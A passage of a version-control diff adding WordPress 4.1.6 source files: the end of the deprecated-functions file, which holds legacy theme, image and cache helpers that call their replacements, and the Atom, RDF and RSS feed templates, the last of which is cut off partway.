+		return $themes[ $theme ];
+	return null;
+}
+
+/**
+ * Retrieve current theme name.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0
+ * @deprecated Use (string) wp_get_theme()
+ * @see wp_get_theme()
+ *
+ * @return string
+ */
+function get_current_theme() {
+	_deprecated_function( __FUNCTION__, '3.4', 'wp_get_theme()' );
+
+	if ( $theme = get_option( 'current_theme' ) )
+		return $theme;
+
+	return wp_get_theme()->get('Name');
+}
+
+/**
+ * Accepts matches array from preg_replace_callback in wpautop() or a string.
+ *
+ * Ensures that the contents of a `<pre>...</pre>` HTML block are not
+ * converted into paragraphs or line-breaks.
+ *
+ * @since 1.2.0
+ * @deprecated 3.4.0
+ *
+ * @param array|string $matches The array or string
+ * @return string The pre block without paragraph/line-break conversion.
+ */
+function clean_pre($matches) {
+	_deprecated_function( __FUNCTION__, '3.4' );
+
+	if ( is_array($matches) )
+		$text = $matches[1] . $matches[2] . "</pre>";
+	else
+		$text = $matches;
+
+	$text = str_replace(array('<br />', '<br/>', '<br>'), array('', '', ''), $text);
+	$text = str_replace('<p>', "\n", $text);
+	$text = str_replace('</p>', '', $text);
+
+	return $text;
+}
+
+
+/**
+ * Add callbacks for image header display.
+ *
+ * @since 2.1.0
+ * @deprecated 3.4.0
+ * @deprecated Use add_theme_support('custom-header', $args)
+ * @see add_theme_support()
+ *
+ * @param callback $wp_head_callback Call on 'wp_head' action.
+ * @param callback $admin_head_callback Call on custom header administration screen.
+ * @param callback $admin_preview_callback Output a custom header image div on the custom header administration screen. Optional.
+ */
+function add_custom_image_header( $wp_head_callback, $admin_head_callback, $admin_preview_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'add_theme_support( \'custom-header\', $args )' );
+	$args = array(
+		'wp-head-callback'    => $wp_head_callback,
+		'admin-head-callback' => $admin_head_callback,
+	);
+	if ( $admin_preview_callback )
+		$args['admin-preview-callback'] = $admin_preview_callback;
+	return add_theme_support( 'custom-header', $args );
+}
+
+/**
+ * Remove image header support.
+ *
+ * @since 3.1.0
+ * @deprecated 3.4.0
+ * @deprecated Use remove_theme_support('custom-header')
+ * @see remove_theme_support()
+ *
+ * @return null|bool Whether support was removed.
+ */
+function remove_custom_image_header() {
+	_deprecated_function( __FUNCTION__, '3.4', 'remove_theme_support( \'custom-header\' )' );
+	return remove_theme_support( 'custom-header' );
+}
+
+/**
+ * Add callbacks for background image display.
+ *
+ * @since 3.0.0
+ * @deprecated 3.4.0
+ * @deprecated Use add_theme_support('custom-background, $args)
+ * @see add_theme_support()
+ *
+ * @param callback $wp_head_callback Call on 'wp_head' action.
+ * @param callback $admin_head_callback Call on custom background administration screen.
+ * @param callback $admin_preview_callback Output a custom background image div on the custom background administration screen. Optional.
+ */
+function add_custom_background( $wp_head_callback = '', $admin_head_callback = '', $admin_preview_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'add_theme_support( \'custom-background\', $args )' );
+	$args = array();
+	if ( $wp_head_callback )
+		$args['wp-head-callback'] = $wp_head_callback;
+	if ( $admin_head_callback )
+		$args['admin-head-callback'] = $admin_head_callback;
+	if ( $admin_preview_callback )
+		$args['admin-preview-callback'] = $admin_preview_callback;
+	return add_theme_support( 'custom-background', $args );
+}
+
+/**
+ * Remove custom background support.
+ *
+ * @since 3.1.0
+ * @see add_custom_background()
+ *
+ * @return null|bool Whether support was removed.
+ */
+function remove_custom_background() {
+	_deprecated_function( __FUNCTION__, '3.4', 'remove_theme_support( \'custom-background\' )' );
+	return remove_theme_support( 'custom-background' );
+}
+
+/**
+ * Retrieve theme data from parsed theme file.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0
+ * @deprecated Use wp_get_theme()
+ * @see wp_get_theme()
+ *
+ * @param string $theme_file Theme file path.
+ * @return array Theme data.
+ */
+function get_theme_data( $theme_file ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'wp_get_theme()' );
+	$theme = new WP_Theme( basename( dirname( $theme_file ) ), dirname( dirname( $theme_file ) ) );
+
+	$theme_data = array(
+		'Name' => $theme->get('Name'),
+		'URI' => $theme->display('ThemeURI', true, false),
+		'Description' => $theme->display('Description', true, false),
+		'Author' => $theme->display('Author', true, false),
+		'AuthorURI' => $theme->display('AuthorURI', true, false),
+		'Version' => $theme->get('Version'),
+		'Template' => $theme->get('Template'),
+		'Status' => $theme->get('Status'),
+		'Tags' => $theme->get('Tags'),
+		'Title' => $theme->get('Name'),
+		'AuthorName' => $theme->get('Author'),
+	);
+
+	foreach ( apply_filters( 'extra_theme_headers', array() ) as $extra_header ) {
+		if ( ! isset( $theme_data[ $extra_header ] ) )
+			$theme_data[ $extra_header ] = $theme->get( $extra_header );
+	}
+
+	return $theme_data;
+}
+
+/**
+ * Alias of update_post_cache().
+ *
+ * @see update_post_cache() Posts and pages are the same, alias is intentional
+ *
+ * @since 1.5.1
+ * @deprecated 3.4.0
+ *
+ * @param array $pages list of page objects
+ */
+function update_page_cache( &$pages ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'update_post_cache()' );
+
+	update_post_cache( $pages );
+}
+
+/**
+ * Will clean the page in the cache.
+ *
+ * Clean (read: delete) page from cache that matches $id. Will also clean cache
+ * associated with 'all_page_ids' and 'get_pages'.
+ *
+ * @since 2.0.0
+ * @deprecated 3.4.0
+ *
+ * @param int $id Page ID to clean
+ */
+function clean_page_cache( $id ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'clean_post_cache()' );
+
+	clean_post_cache( $id );
+}
+
+/**
+ * Retrieve nonce action "Are you sure" message.
+ *
+ * Deprecated in 3.4.1 and 3.5.0. Backported to 3.3.3.
+ *
+ * @since 2.0.4
+ * @deprecated 3.4.1
+ * @deprecated Use wp_nonce_ays()
+ * @see wp_nonce_ays()
+ *
+ * @param string $action Nonce action.
+ * @return string Are you sure message.
+ */
+function wp_explain_nonce( $action ) {
+	_deprecated_function( __FUNCTION__, '3.4.1', 'wp_nonce_ays()' );
+	return __( 'Are you sure you want to do this?' );
+}
+
+/**
+ * Display "sticky" CSS class, if a post is sticky.
+ *
+ * @since 2.7.0
+ * @deprecated 3.5.0
+ * @deprecated Use post_class()
+ * @see post_class()
+ *
+ * @param int $post_id An optional post ID.
+ */
+function sticky_class( $post_id = null ) {
+	_deprecated_function( __FUNCTION__, '3.5', 'post_class()' );
+	if ( is_sticky( $post_id ) )
+		echo ' sticky';
+}
+
+/**
+ * Retrieve post ancestors.
+ *
+ * This is no longer needed as WP_Post lazy-loads the ancestors
+ * property with get_post_ancestors().
+ *
+ * @since 2.3.4
+ * @deprecated 3.5.0
+ * @see get_post_ancestors()
+ */
+function _get_post_ancestors( &$post ) {
+	_deprecated_function( __FUNCTION__, '3.5' );
+}
+
+/**
+ * Load an image from a string, if PHP supports it.
+ *
+ * @since 2.1.0
+ * @deprecated 3.5.0
+ * @see wp_get_image_editor()
+ *
+ * @param string $file Filename of the image to load.
+ * @return resource The resulting image resource on success, Error string on failure.
+ */
+function wp_load_image( $file ) {
+	_deprecated_function( __FUNCTION__, '3.5', 'wp_get_image_editor()' );
+
+	if ( is_numeric( $file ) )
+		$file = get_attached_file( $file );
+
+	if ( ! is_file( $file ) )
+		return sprintf(__('File &#8220;%s&#8221; doesn&#8217;t exist?'), $file);
+
+	if ( ! function_exists('imagecreatefromstring') )
+		return __('The GD image library is not installed.');
+
+	// Set artificially high because GD uses uncompressed images in memory
+	@ini_set( 'memory_limit', apply_filters( 'image_memory_limit', WP_MAX_MEMORY_LIMIT ) );
+	$image = imagecreatefromstring( file_get_contents( $file ) );
+
+	if ( !is_resource( $image ) )
+		return sprintf(__('File &#8220;%s&#8221; is not an image.'), $file);
+
+	return $image;
+}
+
+/**
+ * Scale down an image to fit a particular size and save a new copy of the image.
+ *
+ * The PNG transparency will be preserved using the function, as well as the
+ * image type. If the file going in is PNG, then the resized image is going to
+ * be PNG. The only supported image types are PNG, GIF, and JPEG.
+ *
+ * Some functionality requires API to exist, so some PHP version may lose out
+ * support. This is not the fault of WordPress (where functionality is
+ * downgraded, not actual defects), but of your PHP version.
+ *
+ * @since 2.5.0
+ * @deprecated 3.5.0
+ * @see wp_get_image_editor()
+ *
+ * @param string $file Image file path.
+ * @param int $max_w Maximum width to resize to.
+ * @param int $max_h Maximum height to resize to.
+ * @param bool $crop Optional. Whether to crop image or resize.
+ * @param string $suffix Optional. File suffix.
+ * @param string $dest_path Optional. New image file path.
+ * @param int $jpeg_quality Optional, default is 90. Image quality percentage.
+ * @return mixed WP_Error on failure. String with new destination path.
+ */
+function image_resize( $file, $max_w, $max_h, $crop = false, $suffix = null, $dest_path = null, $jpeg_quality = 90 ) {
+	_deprecated_function( __FUNCTION__, '3.5', 'wp_get_image_editor()' );
+
+	$editor = wp_get_image_editor( $file );
+	if ( is_wp_error( $editor ) )
+		return $editor;
+	$editor->set_quality( $jpeg_quality );
+
+	$resized = $editor->resize( $max_w, $max_h, $crop );
+	if ( is_wp_error( $resized ) )
+		return $resized;
+
+	$dest_file = $editor->generate_filename( $suffix, $dest_path );
+	$saved = $editor->save( $dest_file );
+
+	if ( is_wp_error( $saved ) )
+		return $saved;
+
+	return $dest_file;
+}
+
+/**
+ * Retrieve a single post, based on post ID.
+ *
+ * Has categories in 'post_category' property or key. Has tags in 'tags_input'
+ * property or key.
+ *
+ * @since 1.0.0
+ * @deprecated 3.5.0
+ * @see get_post()
+ *
+ * @param int $postid Post ID.
+ * @param string $mode How to return result, either OBJECT, ARRAY_N, or ARRAY_A.
+ * @return WP_Post|null Post object or array holding post contents and information
+ */
+function wp_get_single_post( $postid = 0, $mode = OBJECT ) {
+	_deprecated_function( __FUNCTION__, '3.5', 'get_post()' );
+	return get_post( $postid, $mode );
+}
+
+/**
+ * Check that the user login name and password is correct.
+ *
+ * @since 0.71
+ * @deprecated 3.5.0
+ * @deprecated Use wp_authenticate()
+ * @see wp_authenticate()
+ *
+ * @param string $user_login User name.
+ * @param string $user_pass User password.
+ * @return bool False if does not authenticate, true if username and password authenticates.
+ */
+function user_pass_ok($user_login, $user_pass) {
+	_deprecated_function( __FUNCTION__, '3.5', 'wp_authenticate()' );
+	$user = wp_authenticate( $user_login, $user_pass );
+	if ( is_wp_error( $user ) )
+		return false;
+
+	return true;
+}
+
+/**
+ * Callback formerly fired on the save_post hook. No longer needed.
+ *
+ * @since 2.3.0
+ * @deprecated 3.5.0
+ */
+function _save_post_hook() {}
+
+/**
+ * Check if the installed version of GD supports particular image type
+ *
+ * @since 2.9.0
+ * @deprecated 3.5.0
+ * @see wp_image_editor_supports()
+ *
+ * @param string $mime_type
+ * @return bool
+ */
+function gd_edit_image_support($mime_type) {
+	_deprecated_function( __FUNCTION__, '3.5', 'wp_image_editor_supports()' );
+
+	if ( function_exists('imagetypes') ) {
+		switch( $mime_type ) {
+			case 'image/jpeg':
+				return (imagetypes() & IMG_JPG) != 0;
+			case 'image/png':
+				return (imagetypes() & IMG_PNG) != 0;
+			case 'image/gif':
+				return (imagetypes() & IMG_GIF) != 0;
+		}
+	} else {
+		switch( $mime_type ) {
+			case 'image/jpeg':
+				return function_exists('imagecreatefromjpeg');
+			case 'image/png':
+				return function_exists('imagecreatefrompng');
+			case 'image/gif':
+				return function_exists('imagecreatefromgif');
+		}
+	}
+	return false;
+}
+
+/**
+ * Converts an integer byte value to a shorthand byte value.
+ *
+ * @since 2.3.0
+ * @deprecated 3.6.0
+ * @deprecated Use size_format()
+ *
+ * @param int $bytes An integer byte value.
+ * @return string A shorthand byte value.
+ */
+function wp_convert_bytes_to_hr( $bytes ) {
+	_deprecated_function( __FUNCTION__, '3.6', 'size_format()' );
+
+	$units = array( 0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB', 4 => 'TB' );
+	$log   = log( $bytes, 1024 );
+	$power = (int) $log;
+	$size  = pow( 1024, $log - $power );
+
+	if ( ! is_nan( $size ) && array_key_exists( $power, $units ) ) {
+		$unit = $units[ $power ];
+	} else {
+		$size = $bytes;
+		$unit = $units[0];
+	}
+
+	return $size . $unit;
+}
+
+/**
+ * Formerly used internally to tidy up the search terms.
+ *
+ * @access private
+ * @since 2.9.0
+ * @deprecated 3.7.0
+ */
+function _search_terms_tidy( $t ) {
+	_deprecated_function( __FUNCTION__, '3.7' );
+	return trim( $t, "\"'\n\r " );
+}
+
+/**
+ * Determine if TinyMCE is available.
+ *
+ * Checks to see if the user has deleted the tinymce files to slim down
+ * their WordPress install.
+ *
+ * @since 2.1.0
+ * @deprecated 3.9.0
+ *
+ * @return bool Whether TinyMCE exists.
+ */
+function rich_edit_exists() {
+	global $wp_rich_edit_exists;
+	_deprecated_function( __FUNCTION__, '3.9' );
+
+	if ( ! isset( $wp_rich_edit_exists ) )
+		$wp_rich_edit_exists = file_exists( ABSPATH . WPINC . '/js/tinymce/tinymce.js' );
+
+	return $wp_rich_edit_exists;
+}
+
+/**
+ * Old callback for tag link tooltips.
+ *
+ * @since 2.7.0
+ * @deprecated 3.9.0
+ * @access private
+ */
+function default_topic_count_text( $count ) {
+	return $count;
+}
+
+/**
+ * Formerly used to escape strings before inserting into the DB.
+ *
+ * Has not performed this function for many, many years. Use wpdb::prepare() instead.
+ *
+ * @since 0.71
+ * @deprecated 3.9.0
+ *
+ * @param string $content The text to format.
+ * @return string The very same text.
+ */
+function format_to_post( $content ) {
+	_deprecated_function( __FUNCTION__, '3.9' );
+	return $content;
+}
+
+/**
+ * Formerly used to escape strings before searching the DB. It was poorly documented and never worked as described.
+ *
+ * @since 2.5.0
+ * @deprecated 4.0.0
+ * @deprecated Use wpdb::esc_like()
+ *
+ * @param string $text The text to be escaped.
+ * @return string text, safe for inclusion in LIKE query.
+ */
+function like_escape($text) {
+	_deprecated_function( __FUNCTION__, '4.0', 'wpdb::esc_like()' );
+	return str_replace( array( "%", "_" ), array( "\\%", "\\_" ), $text );
+}
+
+/**
+ * Determines if the URL can be accessed over SSL.
+ *
+ * Determines if the URL can be accessed over SSL by using the WordPress HTTP API to access
+ * the URL using https as the scheme.
+ *
+ * @since 2.5.0
+ * @deprecated 4.0.0
+ *
+ * @param string $url The URL to test.
+ * @return bool Whether SSL access is available.
+ */
+function url_is_accessable_via_ssl( $url ) {
+	_deprecated_function( __FUNCTION__, '4.0' );
+
+	$response = wp_remote_get( set_url_scheme( $url, 'https' ) );
+
+	if ( !is_wp_error( $response ) ) {
+		$status = wp_remote_retrieve_response_code( $response );
+		if ( 200 == $status || 401 == $status ) {
+			return true;
+		}
+	}
+
+	return false;
+}
Index: /tags/4.1.6/src/wp-includes/feed-atom-comments.php
===================================================================
--- /tags/4.1.6/src/wp-includes/feed-atom-comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/feed-atom-comments.php	(revision 33402)
@@ -0,0 +1,115 @@
+<?php
+/**
+ * Atom Feed Template for displaying Atom Comments feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('atom') . '; charset=' . get_option('blog_charset'), true);
+echo '<?xml version="1.0" encoding="' . get_option('blog_charset') . '" ?' . '>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'atom-comments' );
+?>
+<feed
+	xmlns="http://www.w3.org/2005/Atom"
+	xml:lang="<?php bloginfo_rss( 'language' ); ?>"
+	xmlns:thr="http://purl.org/syndication/thread/1.0"
+	<?php
+		/** This action is documented in wp-includes/feed-atom.php */
+		do_action( 'atom_ns' );
+
+		/**
+		 * Fires inside the feed tag in the Atom comment feed.
+		 *
+		 * @since 2.8.0
+		 */
+		do_action( 'atom_comments_ns' );
+	?>
+>
+	<title type="text"><?php
+		if ( is_singular() )
+			printf( ent2ncr( __( 'Comments on %s' ) ), get_the_title_rss() );
+		elseif ( is_search() )
+			printf( ent2ncr( __( 'Comments for %1$s searching on %2$s' ) ), get_bloginfo_rss( 'name' ), get_search_query() );
+		else
+			printf( ent2ncr( __( 'Comments for %s' ) ), get_bloginfo_rss( 'name' ) . get_wp_title_rss() );
+	?></title>
+	<subtitle type="text"><?php bloginfo_rss('description'); ?></subtitle>
+
+	<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastcommentmodified('GMT'), false); ?></updated>
+
+<?php if ( is_singular() ) { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php comments_link_feed(); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php echo esc_url( get_post_comments_feed_link('', 'atom') ); ?>" />
+	<id><?php echo esc_url( get_post_comments_feed_link('', 'atom') ); ?></id>
+<?php } elseif(is_search()) { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php echo home_url() . '?s=' . get_search_query(); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php echo get_search_comments_feed_link('', 'atom'); ?>" />
+	<id><?php echo get_search_comments_feed_link('', 'atom'); ?></id>
+<?php } else { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php bloginfo_rss('url'); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php bloginfo_rss('comments_atom_url'); ?>" />
+	<id><?php bloginfo_rss('comments_atom_url'); ?></id>
+<?php } ?>
+<?php
+	/**
+	 * Fires at the end of the Atom comment feed header.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'comments_atom_head' );
+?>
+<?php
+if ( have_comments() ) : while ( have_comments() ) : the_comment();
+	$comment_post = $GLOBALS['post'] = get_post( $comment->comment_post_ID );
+?>
+	<entry>
+		<title><?php
+			if ( !is_singular() ) {
+				$title = get_the_title($comment_post->ID);
+				/** This filter is documented in wp-includes/feed.php */
+				$title = apply_filters( 'the_title_rss', $title );
+				printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss());
+			} else {
+				printf(ent2ncr(__('By: %s')), get_comment_author_rss());
+			}
+		?></title>
+		<link rel="alternate" href="<?php comment_link(); ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+
+		<author>
+			<name><?php comment_author_rss(); ?></name>
+			<?php if (get_comment_author_url()) echo '<uri>' . get_comment_author_url() . '</uri>'; ?>
+
+		</author>
+
+		<id><?php comment_guid(); ?></id>
+		<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?></updated>
+		<published><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?></published>
+<?php if ( post_password_required($comment_post) ) : ?>
+		<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php echo get_the_password_form(); ?>]]></content>
+<?php else : // post pass ?>
+		<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php comment_text(); ?>]]></content>
+<?php endif; // post pass
+	// Return comment threading information (http://www.ietf.org/rfc/rfc4685.txt)
+	if ( $comment->comment_parent == 0 ) : // This comment is top level ?>
+		<thr:in-reply-to ref="<?php the_guid(); ?>" href="<?php the_permalink_rss() ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+<?php else : // This comment is in reply to another comment
+	$parent_comment = get_comment($comment->comment_parent);
+	// The rel attribute below and the id tag above should be GUIDs, but WP doesn't create them for comments (unlike posts). Either way, it's more important that they both use the same system
+?>
+		<thr:in-reply-to ref="<?php comment_guid($parent_comment) ?>" href="<?php echo get_comment_link($parent_comment) ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+<?php endif;
+	/**
+	 * Fires at the end of each Atom comment feed item.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $comment_id      ID of the current comment.
+	 * @param int $comment_post_id ID of the post the current comment is connected to.
+	 */
+	do_action( 'comment_atom_entry', $comment->comment_ID, $comment_post->ID );
+?>
+	</entry>
+<?php endwhile; endif; ?>
+</feed>
Index: /tags/4.1.6/src/wp-includes/feed-atom.php
===================================================================
--- /tags/4.1.6/src/wp-includes/feed-atom.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/feed-atom.php	(revision 33402)
@@ -0,0 +1,87 @@
+<?php
+/**
+ * Atom Feed Template for displaying Atom Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('atom') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'atom' );
+?>
+<feed
+  xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0"
+  xml:lang="<?php bloginfo_rss( 'language' ); ?>"
+  xml:base="<?php bloginfo_rss('url') ?>/wp-atom.php"
+  <?php
+  /**
+   * Fires at end of the Atom feed root to add namespaces.
+   *
+   * @since 2.0.0
+   */
+  do_action( 'atom_ns' );
+  ?>
+ >
+	<title type="text"><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<subtitle type="text"><?php bloginfo_rss("description") ?></subtitle>
+
+	<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastpostmodified('GMT'), false); ?></updated>
+
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php bloginfo_rss('url') ?>" />
+	<id><?php bloginfo('atom_url'); ?></id>
+	<link rel="self" type="application/atom+xml" href="<?php self_link(); ?>" />
+
+	<?php
+	/**
+	 * Fires just before the first Atom feed entry.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'atom_head' );
+
+	while ( have_posts() ) : the_post();
+	?>
+	<entry>
+		<author>
+			<name><?php the_author() ?></name>
+			<?php $author_url = get_the_author_meta('url'); if ( !empty($author_url) ) : ?>
+			<uri><?php the_author_meta('url')?></uri>
+			<?php endif;
+
+			/**
+			 * Fires at the end of each Atom feed author entry.
+			 *
+			 * @since 3.2.0
+			 */
+			do_action( 'atom_author' );
+		?>
+		</author>
+		<title type="<?php html_type_rss(); ?>"><![CDATA[<?php the_title_rss() ?>]]></title>
+		<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php the_permalink_rss() ?>" />
+		<id><?php the_guid() ; ?></id>
+		<updated><?php echo get_post_modified_time('Y-m-d\TH:i:s\Z', true); ?></updated>
+		<published><?php echo get_post_time('Y-m-d\TH:i:s\Z', true); ?></published>
+		<?php the_category_rss('atom') ?>
+		<summary type="<?php html_type_rss(); ?>"><![CDATA[<?php the_excerpt_rss(); ?>]]></summary>
+<?php if ( !get_option('rss_use_excerpt') ) : ?>
+		<content type="<?php html_type_rss(); ?>" xml:base="<?php the_permalink_rss() ?>"><![CDATA[<?php the_content_feed('atom') ?>]]></content>
+<?php endif; ?>
+	<?php atom_enclosure();
+	/**
+	 * Fires at the end of each Atom feed item.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'atom_entry' );
+		?>
+		<link rel="replies" type="<?php bloginfo_rss('html_type'); ?>" href="<?php the_permalink_rss() ?>#comments" thr:count="<?php echo get_comments_number()?>"/>
+		<link rel="replies" type="application/atom+xml" href="<?php echo esc_url( get_post_comments_feed_link(0, 'atom') ); ?>" thr:count="<?php echo get_comments_number()?>"/>
+		<thr:total><?php echo get_comments_number()?></thr:total>
+	</entry>
+	<?php endwhile ; ?>
+</feed>
Index: /tags/4.1.6/src/wp-includes/feed-rdf.php
===================================================================
--- /tags/4.1.6/src/wp-includes/feed-rdf.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/feed-rdf.php	(revision 33402)
@@ -0,0 +1,85 @@
+<?php
+/**
+ * RSS 1 RDF Feed Template for displaying RSS 1 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rdf') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'rdf' );
+?>
+<rdf:RDF
+	xmlns="http://purl.org/rss/1.0/"
+	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	xmlns:admin="http://webns.net/mvcb/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	<?php
+	/**
+	 * Fires at the end of the feed root to add namespaces.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rdf_ns' );
+	?>
+>
+<channel rdf:about="<?php bloginfo_rss("url") ?>">
+	<title><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss('description') ?></description>
+	<dc:date><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastpostmodified('GMT'), false); ?></dc:date>
+	<sy:updatePeriod><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_period', 'hourly' );
+	?></sy:updatePeriod>
+	<sy:updateFrequency><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_frequency', '1' );
+	?></sy:updateFrequency>
+	<sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
+	<?php
+	/**
+	 * Fires at the end of the RDF feed header.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rdf_header' );
+	?>
+	<items>
+		<rdf:Seq>
+		<?php while (have_posts()): the_post(); ?>
+			<rdf:li rdf:resource="<?php the_permalink_rss() ?>"/>
+		<?php endwhile; ?>
+		</rdf:Seq>
+	</items>
+</channel>
+<?php rewind_posts(); while (have_posts()): the_post(); ?>
+<item rdf:about="<?php the_permalink_rss() ?>">
+	<title><?php the_title_rss() ?></title>
+	<link><?php the_permalink_rss() ?></link>
+	<dc:date><?php echo mysql2date('Y-m-d\TH:i:s\Z', $post->post_date_gmt, false); ?></dc:date>
+	<dc:creator><![CDATA[<?php the_author() ?>]]></dc:creator>
+	<?php the_category_rss('rdf') ?>
+<?php if (get_option('rss_use_excerpt')) : ?>
+	<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+<?php else : ?>
+	<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+	<content:encoded><![CDATA[<?php the_content_feed('rdf') ?>]]></content:encoded>
+<?php endif; ?>
+	<?php
+	/**
+	 * Fires at the end of each RDF feed item.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rdf_item' );
+	?>
+</item>
+<?php endwhile;  ?>
+</rdf:RDF>
Index: /tags/4.1.6/src/wp-includes/feed-rss.php
===================================================================
--- /tags/4.1.6/src/wp-includes/feed-rss.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/feed-rss.php	(revision 33402)
@@ -0,0 +1,46 @@
+<?php
+/**
+ * RSS 0.92 Feed Template for displaying RSS 0.92 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<rss version="0.92">
+<channel>
+	<title><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss('description') ?></description>
+	<lastBuildDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?></lastBuildDate>
+	<docs>http://backend.userland.com/rss092</docs>
+	<language><?php bloginfo_rss( 'language' ); ?></language>
+
+	<?php
+	/**
+	 * Fires at the end of the RSS Feed Header.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss_head' );
+	?>
+
+<?php while (have_posts()) : the_post(); ?>
+	<item>
+		<title><?php the_title_rss() ?></title>
+		<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+		<link><?php the_permalink_rss() ?></link>
+		<?php
+		/**
+		 * Fires at the end of each RSS feed item.
+		 *
+		 * @since 2.0.0
+		 */
+		do_action( 'rss_item' );
+		?>
+	</item>
+<?php endwhile; ?>
+</channel>
+</rss>
Index: /tags/4.1.6/src/wp-includes/feed-rss2-comments.php
===================================================================
--- /tags/4.1.6/src/wp-includes/feed-rss2-comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/feed-rss2-comments.php	(revision 33402)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * RSS2 Feed Template for displaying RSS2 Comments feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'rss2-comments' );
+?>
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:atom="http://www.w3.org/2005/Atom"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	<?php
+	/** This action is documented in wp-includes/feed-rss2.php */
+	do_action( 'rss2_ns' );
+	?>
+
+	<?php
+	/**
+	 * Fires at the end of the RSS root to add namespaces.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'rss2_comments_ns' );
+	?>
+>
+<channel>
+	<title><?php
+		if ( is_singular() )
+			printf( ent2ncr( __( 'Comments on: %s' ) ), get_the_title_rss() );
+		elseif ( is_search() )
+			printf( ent2ncr( __( 'Comments for %1$s searching on %2$s' ) ), get_bloginfo_rss( 'name' ), get_search_query() );
+		else
+			printf( ent2ncr( __( 'Comments for %s' ) ), get_bloginfo_rss( 'name' ) . get_wp_title_rss() );
+	?></title>
+	<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
